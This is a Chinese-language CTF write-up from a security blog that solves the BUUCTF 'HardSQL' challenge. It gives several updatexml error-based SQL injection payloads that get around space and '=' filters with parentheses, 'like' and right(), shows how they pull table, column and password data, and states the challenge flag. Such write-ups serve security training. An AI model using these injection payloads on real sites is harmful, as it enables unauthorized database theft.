[极客大挑战 2019]HardSQL – buu刷题笔记

[极客大挑战 2019]HardSQL
(主要记录一下自己做题的思路)
题目:
打开环境,得到:

图片[1]-[极客大挑战 2019]HardSQL – buu刷题笔记-安全小天地

有两道类似的sql注入题目,可以参考一下

[极客大挑战 2019]BabySQL - buu刷题笔记-安全小天地
[极客大挑战 2019]BabySQL - buu刷题笔记-安全小天地
[极客大挑战 2019]BabySQL – buu刷题笔记
沐寒的头像-安全小天地大咖2022年4月15日 15:16

028214

[极客大挑战 2019]LoveSQL - buu刷题记录-安全小天地
[极客大挑战 2019]LoveSQL - buu刷题记录-安全小天地
[极客大挑战 2019]LoveSQL – buu刷题记录
沐寒的头像-安全小天地大咖2022年4月14日 15:39

032415

废话不多说,都说了是hardsql了,直接fuzz测试一下,可以看到有很多还是没被过滤的,现在就要自己再手动测试一下常见的一些方式了,我这里说下我做这题的思路:
先试着输入了admin\' #,返回了:

图片[2]-[极客大挑战 2019]HardSQL – buu刷题笔记-安全小天地

说明空格确实被过滤,接着就要想办法绕过空格了,先试着用了下/**/来绕过空格,发现同样被过滤了,难啊,半天了,

现在只有用()括号来绕过空格了,这里简单讲下空格绕过的原理:

括号是来包含子查询的,任何可以计算出结果的语句都可以用括号围起来,而括号的两端,可以没有多余的空格

试着输入:

图片[3]-[极客大挑战 2019]HardSQL – buu刷题笔记-安全小天地

发现没有出现那个“臭弟弟”,证明绕过了空格
现在仔细观察那个error界面,猜测应该是报错注入,先试试用updatexml注入看:

admin\'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

这里0x7e\'~\'的编码,害怕被\'影响

可以拿到数据库:

图片[4]-[极客大挑战 2019]HardSQL – buu刷题笔记-安全小天地

继续查表名,构造payload:

admin\'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(\'geek\')),0x7e),1))#

直接拿到了表名:

图片[5]-[极客大挑战 2019]HardSQL – buu刷题笔记-安全小天地

继续查列名,payload为:

admin\'or(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like(\'H4rDsq1\')),0x7e),1))#

然后得到:

图片[6]-[极客大挑战 2019]HardSQL – buu刷题笔记-安全小天地

所以再改进一点payload为:

admin\'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(\'H4rDsq1\')),0x7e),1))#

可以拿到列名,继续构造payload:

admin\'or(updatexml(1,concat(0x7e,(select(group_concat(id,\'~\',username,\'~\',password))from(H4rDsq1)),0x7e),1))#

可以拿到一半的flag

图片[7]-[极客大挑战 2019]HardSQL – buu刷题笔记-安全小天地

然后这里就要补充一点知识了,也可以对上面的payload构造有点理解

  • 空格被过滤可以使用/**/或者()绕过
  • =号被过滤可以用like来绕过
  • substring与mid被过滤可以用right与left来绕过

所以这里如果要得到右边的flag的话,就要用right来构造了,直接看构造好的payload:

admin\'or(updatexml(1,concat(0x7e,(select(right(password,35))from(H4rDsq1)),0x7e),1))#

最终拿到右边的flag:

图片[8]-[极客大挑战 2019]HardSQL – buu刷题笔记-安全小天地

去掉重复的,拼接上就可以了,所以最终flag为flag{12c6820b-49f5-4b93-a2c9-1d7522eaff51}

------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容